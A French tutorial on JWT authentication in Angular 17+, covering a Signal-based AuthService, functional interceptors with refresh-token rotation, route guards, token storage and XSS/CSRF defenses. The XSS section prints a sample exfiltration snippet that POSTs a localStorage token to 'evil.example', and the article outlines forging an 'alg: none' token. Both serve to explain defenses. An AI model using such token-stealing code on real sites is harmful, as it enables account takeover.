Front-end angularforall.com

- JWT et Interceptors Angular : Authentification sécurisée

Angular Jwt Authentification Httpinterceptorfn Refresh-Token Token-Rotation Authguard Rolemguard Canmatch Httponly-Cookie Xss-Csrf Owasp
JWT et Interceptors Angular : Authentification sécurisée

JWT Angular 17+ : interceptors fonctionnels, refresh token rotation anti-race, authGuard/roleGuard, stockage securise httpOnly et parades XSS/CSRF.

Pourquoi JWT + interceptors en 2026 ?

Quasiment toute application Angular moderne en production gère ses appels API authentifiés via un JSON Web Token (JWT) attaché au header Authorization. Le pattern est devenu standard pour deux raisons : il est stateless (le serveur n'a pas besoin de stocker la session en Redis ni en base) et il fonctionne nativement avec n'importe quelle stack — Node, NestJS, .NET, Spring, Django, Go, Rust. Côté Angular, les intercepteurs HTTP sont l'outil idéal pour automatiser l'ajout du token, la gestion des 401, et le refresh transparent.

Depuis Angular 15, les intercepteurs ne sont plus des classes mais des fonctions (HttpInterceptorFn). Cette modernisation s'est accompagnée de l'API provideHttpClient(withInterceptors([...])), des guards fonctionnels (CanActivateFn, CanMatchFn), et de l'arrivée des Signals pour exposer l'état d'authentification. Le code écrit en 2026 est plus court, plus lisible, et plus tree-shakable que celui hérité d'Angular 14.

Ce que cet article couvre

  • L'anatomie complète d'un JWT — header, payload, signature, claims standards.
  • Un AuthService Angular 17+ basé sur Signal et compatible SSR.
  • Trois intercepteurs fonctionnels : auth, error, refresh (avec gestion anti-race condition).
  • Deux guards fonctionnels — authGuard (utilisateur connecté) et roleGuard('admin') (factory paramétrable).
  • Les vraies menaces (XSS, CSRF, token leak, JWT-none) et les parades concrètes.
  • Comment tester les intercepteurs avec provideHttpClientTesting().
À retenir : un JWT n'est pas une magie de sécurité — c'est juste un format de jeton signé. La sécurité vient des règles autour : durée de vie courte, rotation du refresh token, revocation list serveur, et choix d'un stockage qui résiste à votre modèle de menace.

Anatomie d'un JWT : header, payload, signature

Un JWT est une chaîne de trois parties séparées par des points : header.payload.signature. Chaque partie est encodée en Base64URL (variante de base64 sûre pour les URLs).

// Exemple complet
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTYiLCJuYW1lIjoiQWxpY2UiLCJyb2xlcyI6WyJ1c2VyIl0sImlhdCI6MTcwODQ4MDAwMCwiZXhwIjoxNzA4NDgwOTAwfQ.
sflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

1. Header — métadonnées du token

{
  "alg": "HS256",   // algorithme de signature
  "typ": "JWT",     // type — toujours JWT
  "kid": "2024-01"  // (optionnel) Key ID pour la rotation des clés
}

2. Payload — les claims

{
  "sub":   "123456",             // subject — identifiant utilisateur (RFC obligatoire)
  "iat":   1708480000,           // issued at — timestamp d'émission
  "exp":   1708480900,           // expiration — < 15 min pour l'access token
  "jti":   "c3d-7f9a",           // JWT ID — utilisé pour la révocation côté serveur
  "iss":   "api.angularforall.com", // issuer
  "aud":   "angularforall-web",  // audience (client cible)

  // Custom claims — votre métier
  "email": "alice@example.com",
  "roles": ["user", "editor"],
  "tenantId": "acme-corp"
}

3. Signature — l'intégrité

La signature garantit que le token n'a pas été modifié. Elle est calculée à partir du header et du payload encodés, plus une clé secrète (HMAC HS256) ou une paire clé privée/publique (RSA RS256, ECDSA ES256).

// Pseudo-code HS256
signature = HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  SECRET_KEY
)

HS256 vs RS256 — lequel choisir ?

CritèreHS256 (HMAC)RS256 (RSA)
ClésUne clé secrète partagéeClé privée + clé publique
PerformanceTrès rapide10x plus lent
Cas d'usageMonolithe Angular + 1 backendMicroservices, OIDC, fédération
CompromiseSi la clé fuite, tout fuitLe public peut vérifier sans signer
OIDC compliantNon recommandéOui (standard)
Sécurité critique : certaines libs JWT acceptent l'algo alg: none (signature vide) si on ne configure pas l'allowlist d'algorithmes. C'est une CVE classique exploitée régulièrement. Vérifiez côté backend que seuls HS256 ou RS256 (selon votre choix) sont acceptés, jamais none.

AuthService moderne avec Signals

Le AuthService centralise tout : login, logout, accès au token, état d'authentification, profil utilisateur. Version Angular 17+ basée sur Signal — plus simple à consommer dans les composants OnPush, naturelle pour computed(), prête pour le mode zoneless.

// auth.service.ts
import { Injectable, signal, computed, inject } from '@angular/core';
import { HttpClient } from '@angular/common/http';
import { Observable, tap } from 'rxjs';

export interface UserClaims {
  sub: string;
  email: string;
  roles: string[];
  exp: number;
}

export interface AuthResponse {
  accessToken: string;
  refreshToken: string;
}

@Injectable({ providedIn: 'root' })
export class AuthService {
  private readonly http = inject(HttpClient);

  // Stockage en mémoire (le plus sûr pour l'access token)
  // Refresh token = cookie httpOnly côté serveur (voir section 8)
  private readonly _token = signal<string | null>(null);

  // Token exposé en lecture seule
  readonly token = this._token.asReadonly();

  // Claims décodées dérivées du token
  readonly claims = computed<UserClaims | null>(() => {
    const t = this._token();
    return t ? decodeJwt<UserClaims>(t) : null;
  });

  // Authentifié si token présent ET non expiré
  readonly isAuthenticated = computed(() => {
    const c = this.claims();
    return !!c && c.exp * 1000 > Date.now();
  });

  readonly roles = computed(() => this.claims()?.roles ?? []);

  login(email: string, password: string): Observable<AuthResponse> {
    return this.http.post<AuthResponse>('/api/auth/login', { email, password },
      { withCredentials: true }) // pour recevoir le cookie httpOnly refresh
      .pipe(tap(r => this._token.set(r.accessToken)));
  }

  logout(): Observable<void> {
    this._token.set(null);
    return this.http.post<void>('/api/auth/logout', {}, { withCredentials: true });
  }

  setAccessToken(token: string): void { this._token.set(token); }
  clearAccessToken(): void { this._token.set(null); }
}

// utilitaire — voir section 10
function decodeJwt<T>(token: string): T | null {
  try {
    const [, payload] = token.split('.');
    const json = atob(payload.replace(/-/g, '+').replace(/_/g, '/'));
    return JSON.parse(decodeURIComponent(escape(json))) as T;
  } catch { return null; }
}

Notez quelques choix architecturaux clés : le token est exposé en readonly() pour empêcher toute mutation directe depuis l'extérieur ; isAuthenticated est un computed qui vérifie automatiquement l'expiration ; et withCredentials: true permet de transmettre le cookie httpOnly contenant le refresh token lors du login et du logout.

Interceptor fonctionnel Angular 17+

Adieu la classe @Injectable qui implémente HttpInterceptor — depuis Angular 15, un intercepteur est juste une fonction de type HttpInterceptorFn. C'est plus court, plus testable, et compatible avec inject() via l'injection context.

// auth.interceptor.ts
import { HttpInterceptorFn } from '@angular/common/http';
import { inject } from '@angular/core';
import { AuthService } from './auth.service';

export const authInterceptor: HttpInterceptorFn = (req, next) => {
  const auth = inject(AuthService);

  // Pas de Bearer sur les endpoints publics et le refresh
  if (req.url.includes('/auth/login') ||
      req.url.includes('/auth/register') ||
      req.url.includes('/auth/refresh')) {
    return next(req);
  }

  const token = auth.token();
  if (!token) return next(req);

  const authReq = req.clone({
    setHeaders: { Authorization: `Bearer ${token}` },
  });
  return next(authReq);
};

Enregistrement dans app.config.ts

// app.config.ts (Angular 17+, Standalone)
import { ApplicationConfig } from '@angular/core';
import { provideHttpClient, withInterceptors } from '@angular/common/http';
import { authInterceptor }  from './auth.interceptor';
import { errorInterceptor } from './error.interceptor';
import { refreshInterceptor } from './refresh.interceptor';

export const appConfig: ApplicationConfig = {
  providers: [
    provideHttpClient(
      withInterceptors([
        authInterceptor,     // 1. ajoute le Bearer
        refreshInterceptor,  // 2. gère le refresh sur 401
        errorInterceptor,    // 3. notifie / redirige en dernier
      ]),
    ),
  ],
};

L'ordre est important : la requête traverse les intercepteurs dans l'ordre d'inscription, la réponse dans l'ordre inverse. Le refresh intercepteur doit être placé avant l'error intercepteur, sinon les 401 sont consommés par l'error avant que le refresh n'ait sa chance.

Gérer les erreurs 401 et le logout automatique

Quand le serveur répond 401 Unauthorized, c'est que le token est absent, expiré, ou invalide. L'intercepteur d'erreur centralise la réponse : tentative de refresh (section suivante), sinon nettoyage du state et redirection vers la page de login avec un returnUrl.

// error.interceptor.ts
import { HttpInterceptorFn, HttpErrorResponse } from '@angular/common/http';
import { inject } from '@angular/core';
import { Router } from '@angular/router';
import { catchError, throwError } from 'rxjs';
import { AuthService } from './auth.service';

export const errorInterceptor: HttpInterceptorFn = (req, next) => {
  const router = inject(Router);
  const auth = inject(AuthService);

  return next(req).pipe(
    catchError((error: HttpErrorResponse) => {
      // 401 atteint le bout de la chaîne — refresh a échoué ou pas possible
      if (error.status === 401 && !req.url.includes('/auth/')) {
        auth.clearAccessToken();
        router.navigate(['/login'], {
          queryParams: { returnUrl: router.url },
        });
      }

      // 403 = autorisé mais pas le droit — redirection "forbidden"
      if (error.status === 403) {
        router.navigate(['/forbidden']);
      }

      // 5xx — afficher un toast d'erreur global
      if (error.status >= 500) {
        // inject(NotificationService).error('Erreur serveur, réessayez');
      }

      return throwError(() => error);
    }),
  );
};
À retenir : 401 et 403 ne signifient pas la même chose. 401 = pas authentifié (token absent ou expiré → relogin). 403 = authentifié mais pas autorisé (rôle insuffisant → page d'erreur, jamais relogin). Mélanger les deux entraîne des bugs UX inexplicables pour l'utilisateur.

Refresh token avec rotation et anti-race condition

Le refresh token est l'élément central d'une UX d'auth fluide. L'idée : un access token court (15 min) en mémoire, un refresh token long (7-30 jours) en cookie httpOnly. Quand le serveur renvoie un 401, l'intercepteur appelle /auth/refresh avec le cookie, reçoit un nouvel access token, et rejoue silencieusement la requête originale.

Le piège : la race condition

Sur une page qui charge 5 requêtes en parallèle, toutes échouent en 401 simultanément. Naïvement, on déclencherait 5 refresh — le backend en accepte un, invalide l'ancien refresh, et les 4 suivants échouent en cascade. Solution : un état partagé isRefreshing + un Subject qui émet le nouveau token, sur lequel les requêtes en échec s'abonnent.

// refresh.interceptor.ts
import { HttpInterceptorFn, HttpErrorResponse } from '@angular/common/http';
import { inject } from '@angular/core';
import { BehaviorSubject, catchError, filter, switchMap, take, throwError } from 'rxjs';
import { AuthService } from './auth.service';

// État partagé entre tous les appels — scope module
let isRefreshing = false;
const refreshSubject = new BehaviorSubject<string | null>(null);

export const refreshInterceptor: HttpInterceptorFn = (req, next) => {
  const auth = inject(AuthService);

  return next(req).pipe(
    catchError((error: HttpErrorResponse) => {
      // Pas un 401 — on laisse passer
      if (error.status !== 401) return throwError(() => error);

      // Endpoints d'auth — pas de refresh ici, l'erreur remonte
      if (req.url.includes('/auth/refresh') ||
          req.url.includes('/auth/login')) {
        return throwError(() => error);
      }

      // Un refresh est déjà en cours — on attend qu'il finisse
      if (isRefreshing) {
        return refreshSubject.pipe(
          filter(t => t !== null),
          take(1),
          switchMap(token => next(req.clone({
            setHeaders: { Authorization: `Bearer ${token}` },
          }))),
        );
      }

      // Premier 401 — on lance LE refresh
      isRefreshing = true;
      refreshSubject.next(null);

      return auth.refresh().pipe(
        switchMap(({ accessToken }) => {
          isRefreshing = false;
          refreshSubject.next(accessToken);
          auth.setAccessToken(accessToken);
          return next(req.clone({
            setHeaders: { Authorization: `Bearer ${accessToken}` },
          }));
        }),
        catchError(refreshError => {
          isRefreshing = false;
          refreshSubject.next(null);
          auth.clearAccessToken();
          return throwError(() => refreshError);
        }),
      );
    }),
  );
};

La méthode refresh() dans AuthService

// auth.service.ts (ajout)
refresh(): Observable<{ accessToken: string }> {
  // Le refresh token voyage automatiquement en cookie httpOnly
  return this.http.post<{ accessToken: string }>(
    '/api/auth/refresh', {}, { withCredentials: true }
  );
}

Rotation du refresh token (sécurité avancée)

À chaque refresh réussi, le backend doit émettre un nouveau refresh token et invalider l'ancien. Si un attaquant intercepte un refresh token et l'utilise, le légitime utilisateur va recevoir un refresh invalide et sera forcé de se reconnecter — détection d'intrusion intégrée. Cette pratique s'appelle refresh token rotation et est recommandée par l'OAuth 2.0 BCP (RFC 6819).

AuthGuard, RoleGuard et canMatch

Les guards fonctionnels remplacent les classes depuis Angular 14. Pour les routes lazy-loaded, préférez canMatch à canActivate — il empêche le téléchargement du chunk JavaScript si l'utilisateur n'est pas autorisé, ce qui économise la bande passante et limite la surface d'attaque (pas de code admin chargé pour un utilisateur lambda).

// auth.guard.ts
import { CanActivateFn, CanMatchFn, Router } from '@angular/router';
import { inject } from '@angular/core';
import { AuthService } from './auth.service';

export const authGuard: CanActivateFn = (route, state) => {
  const auth = inject(AuthService);
  const router = inject(Router);

  if (auth.isAuthenticated()) return true;

  return router.createUrlTree(['/login'], {
    queryParams: { returnUrl: state.url },
  });
};

// Factory : générateur de guard paramétrable par rôle
export const roleGuard = (role: string): CanMatchFn =>
  (route, segments) => {
    const auth = inject(AuthService);
    const router = inject(Router);

    if (!auth.isAuthenticated()) {
      return router.createUrlTree(['/login']);
    }
    if (auth.roles().includes(role)) return true;

    return router.createUrlTree(['/forbidden']);
  };

Application dans routes.ts

import { Routes } from '@angular/router';
import { authGuard, roleGuard } from './auth.guard';

export const routes: Routes = [
  { path: 'login', loadComponent: () => import('./pages/login.component') },

  {
    path: 'dashboard',
    canActivate: [authGuard],
    loadComponent: () => import('./pages/dashboard.component'),
  },

  {
    path: 'admin',
    canMatch: [roleGuard('admin')], // empêche même le chargement du chunk
    loadChildren: () => import('./pages/admin/admin.routes'),
  },
];

Stockage du token : memory, cookie httpOnly, localStorage

StockageXSSCSRFPerdu au rechargementRecommandé pour
Mémoire JS (Signal)BasAucun risqueOuiAccess token (vie courte)
sessionStorageHautAucun risqueNon (tant que tab ouvert)Données non sensibles
localStorageTrès hautAucun risqueNonDonnées non sensibles
Cookie httpOnlyAucunHaut (sans SameSite)NonRefresh token (vie longue)
Cookie + Secure + SameSite=StrictAucunBasNonStratégie production OWASP 2024

Le combo OWASP 2024 recommandé

  • Access token (15 min)Signal<string | null> en mémoire JS. Disparaît au rechargement, ce qui force un refresh — c'est voulu.
  • Refresh token (7-30 jours) → cookie httpOnly + Secure + SameSite=Strict. Inaccessible au JavaScript, immunisé au XSS, protégé du CSRF par SameSite.
  • Login/refresh/logout → endpoint qui définit/efface le cookie côté serveur. Le frontend ne voit jamais le refresh token.

Avec cette combinaison, un XSS qui injecte du JavaScript dans votre app peut au pire voler l'access token de 15 minutes en cours. L'attaquant n'a pas le refresh token (httpOnly = inaccessible), donc dès l'expiration, son accès tombe. Sans cette stratégie, un seul XSS exporté en localStorage = compromission permanente du compte.

XSS et CSRF : les vraies menaces

XSS — Cross-Site Scripting

Du code JavaScript malveillant s'exécute dans le contexte de votre application. Une fois injecté, il peut tout lire (localStorage, sessionStorage, mémoire), exécuter des requêtes HTTP authentifiées, et exfiltrer des données. Le JWT en localStorage est game over en 5 lignes :

// Si un XSS s'exécute dans votre app, c'est ce que fait l'attaquant
fetch('https://evil.example/steal', {
  method: 'POST',
  body: localStorage.getItem('access_token'),
});

Parades XSS

  • Angular sanitize automatiquement les bindings [innerHTML] via DomSanitizer. Ne le contournez JAMAIS avec bypassSecurityTrustHtml() sauf si vous avez vérifié la source.
  • Content Security Policy (CSP) stricte : script-src 'self' bloque tout JS inline et tout JS depuis des domaines tiers. La règle d'or est no unsafe-inline, no unsafe-eval.
  • Refresh token en httpOnly — comme vu en section 8. Même un XSS ne peut pas le lire.
  • Échapper toute donnée utilisateur rendue en innerHTML — Angular le fait par défaut, mais le réflexe doit être documenté.

CSRF — Cross-Site Request Forgery

Un site malveillant fait exécuter à votre navigateur une requête vers votre API. Si vous êtes authentifié par cookie, ce cookie est envoyé automatiquement. L'attaquant n'a pas accès au cookie, mais il déclenche des actions en votre nom.

Parades CSRF

  • SameSite=Strict ou Lax sur tous les cookies d'auth — le navigateur n'envoie plus le cookie sur des requêtes cross-site. Couvre 95 % des cas.
  • Token CSRF dans un header X-CSRF-Token (le serveur l'émet, le client le renvoie) — protection en profondeur si SameSite n'est pas applicable.
  • Vérifier l'Origin/Referer header côté backend sur les opérations sensibles.
  • JWT en header Authorization n'est PAS sujet au CSRF (le navigateur ne l'envoie pas automatiquement cross-site). C'est l'argument principal en faveur des JWT en mémoire vs cookie.
À retenir : XSS et CSRF sont deux attaques différentes qui exigent deux stratégies. Le combo « access token en mémoire + refresh token cookie httpOnly + SameSite=Strict + CSP stricte » couvre les deux simultanément.

Décoder un JWT côté Angular sans dépendance

Vous n'avez pas besoin de jwt-decode ou autre lib npm pour lire un JWT côté client. Le payload est en base64URL, accessible en 4 lignes :

// utils/jwt.ts
export function decodeJwt<T = Record<string, unknown>>(token: string): T | null {
  try {
    const [, payload] = token.split('.');
    if (!payload) return null;
    // Base64URL → Base64 standard
    const b64 = payload.replace(/-/g, '+').replace(/_/g, '/');
    // Décodage + gestion UTF-8
    const json = decodeURIComponent(
      atob(b64)
        .split('')
        .map(c => '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2))
        .join(''),
    );
    return JSON.parse(json) as T;
  } catch {
    return null;
  }
}

export function isExpired(token: string): boolean {
  const payload = decodeJwt<{ exp?: number }>(token);
  if (!payload?.exp) return true;
  return payload.exp * 1000 < Date.now();
}
Rappel critique : le décodage côté client ne vérifie pas la signature. Il sert uniquement à afficher l'UI (« masquer le bouton admin si pas le rôle ») et à anticiper l'expiration. Toute décision de sécurité (lire des données, modifier la base) doit toujours être validée par le serveur qui, lui, vérifie la signature avec la clé secrète.

Tester un interceptor avec provideHttpClientTesting

// auth.interceptor.spec.ts
import { TestBed } from '@angular/core/testing';
import {
  HttpTestingController,
  provideHttpClientTesting,
} from '@angular/common/http/testing';
import { HttpClient, provideHttpClient, withInterceptors } from '@angular/common/http';
import { describe, it, expect, beforeEach } from 'vitest';
import { authInterceptor } from './auth.interceptor';
import { AuthService } from './auth.service';
import { signal } from '@angular/core';

describe('authInterceptor', () => {
  let http: HttpClient;
  let mock: HttpTestingController;

  beforeEach(() => {
    TestBed.configureTestingModule({
      providers: [
        provideHttpClient(withInterceptors([authInterceptor])),
        provideHttpClientTesting(),
        {
          provide: AuthService,
          useValue: { token: signal<string | null>('abc123') },
        },
      ],
    });
    http = TestBed.inject(HttpClient);
    mock = TestBed.inject(HttpTestingController);
  });

  it('ajoute le Bearer sur /api/me', () => {
    http.get('/api/me').subscribe();
    const req = mock.expectOne('/api/me');
    expect(req.request.headers.get('Authorization')).toBe('Bearer abc123');
    req.flush({});
  });

  it('n'ajoute pas de Bearer sur /auth/login', () => {
    http.post('/api/auth/login', {}).subscribe();
    const req = mock.expectOne('/api/auth/login');
    expect(req.request.headers.has('Authorization')).toBe(false);
    req.flush({});
  });
});

Tester le refresh intercepteur demande un peu plus d'orchestration (simuler le 401, intercepter le /auth/refresh, valider le rejeu de la requête) mais reste largement dans le périmètre de HttpTestingController. Voir l'article dédié sur les tests Angular avec Vitest pour le détail.

Pièges de production et déploiement

  • CORS + withCredentials — pour utiliser des cookies cross-origin, votre backend doit envoyer Access-Control-Allow-Credentials: true ET une Access-Control-Allow-Origin explicite (jamais *). Sinon le navigateur jette le cookie en silence.
  • HTTPS partout — les cookies Secure ne sont envoyés qu'en HTTPS. Même en développement, utilisez https://localhost via mkcert pour reproduire les conditions de production.
  • Synchronisation multi-tab — si l'utilisateur se déconnecte dans un tab, les autres doivent suivre. Utilisez BroadcastChannel ou écoutez l'événement storage de window pour propager le logout.
  • SSR (Angular Universal) — le code du AuthService ne doit pas crasher côté serveur. localStorage n'existe pas. Utilisez inject(PLATFORM_ID) + isPlatformBrowser() pour les accès sensibles.
  • Revocation list serveur — un access token a une vie courte, mais un refresh token peut être révoqué côté serveur (table en base ou Redis indexé par jti). Indispensable pour le logout réel et pour révoquer un device perdu.
  • Clock skew — les serveurs et les clients n'ont pas toujours la même heure. Tolérez +/-30s sur l'exp côté serveur pour éviter les rejets bruyants au démarrage du token.
  • Mobile et PWA — sur iOS/Android en mode « ajouter à l'écran d'accueil », les cookies httpOnly fonctionnent. En WebView personnalisée, vérifiez le support. En cas de doute, fallback en localStorage + CSP très stricte.

Algorithme « none » — la CVE classique

Certaines libs JWT acceptent par défaut l'algorithme none (signature vide). Un attaquant peut alors envoyer un token forgé avec { "alg": "none" }, signature vide, et le serveur l'accepte. Configurez explicitement la liste blanche d'algorithmes accepté côté backend — HS256 ou RS256, jamais none. C'est une vérification de quelques lignes qui élimine une vulnérabilité critique.

Conclusion

Implémenter une authentification JWT propre en Angular 17+ tient en trois couches : un AuthService à base de Signal qui centralise l'état, trois intercepteurs fonctionnels qui automatisent le Bearer, le refresh et la gestion d'erreurs, et deux guards fonctionnels pour protéger les routes. Le code est plus court qu'en Angular 14, plus testable, et compatible avec le mode zoneless qui arrive en stable.

Mais le code n'est qu'une fraction du sujet. La vraie sécurité d'une auth JWT vient des règles autour : access token court en mémoire, refresh token en cookie httpOnly + Secure + SameSite=Strict, rotation automatique du refresh à chaque utilisation, revocation list côté serveur, et CSP rigide qui ferme la porte au XSS. Ces sept points couvrent l'écrasante majorité des incidents de sécurité d'auth qu'on voit en production. Investir une journée à les implémenter correctement vaut mieux qu'une réponse à incident à 3h du matin.

Récapitulatif des bonnes pratiques :
  • Intercepteur fonctionnel (HttpInterceptorFn) + provideHttpClient(withInterceptors([...]))
  • Trois intercepteurs séparés : auth, refresh, error — chaîne dans cet ordre
  • Access token en mémoire (Signal) ; refresh en cookie httpOnly + Secure + SameSite=Strict
  • Access token court (15 min), refresh long (7-30 jours) avec rotation à chaque usage
  • Guard fonctionnel authGuard + roleGuard(role) factory pour les rôles
  • Préférer canMatch à canActivate pour les routes lazy-loaded sensibles
  • Anti-race condition au refresh : isRefreshing flag + BehaviorSubject partagé
  • Distinguer 401 (relogin) de 403 (forbidden) — comportements opposés
  • Décoder le JWT côté client uniquement pour l'UI, jamais pour décider de sécurité
  • Backend : refuser alg: none, vérifier exp, maintenir une revocation list
  • CSP stricte (script-src 'self') pour fermer la porte au XSS
  • Tester les intercepteurs avec provideHttpClientTesting()

Partager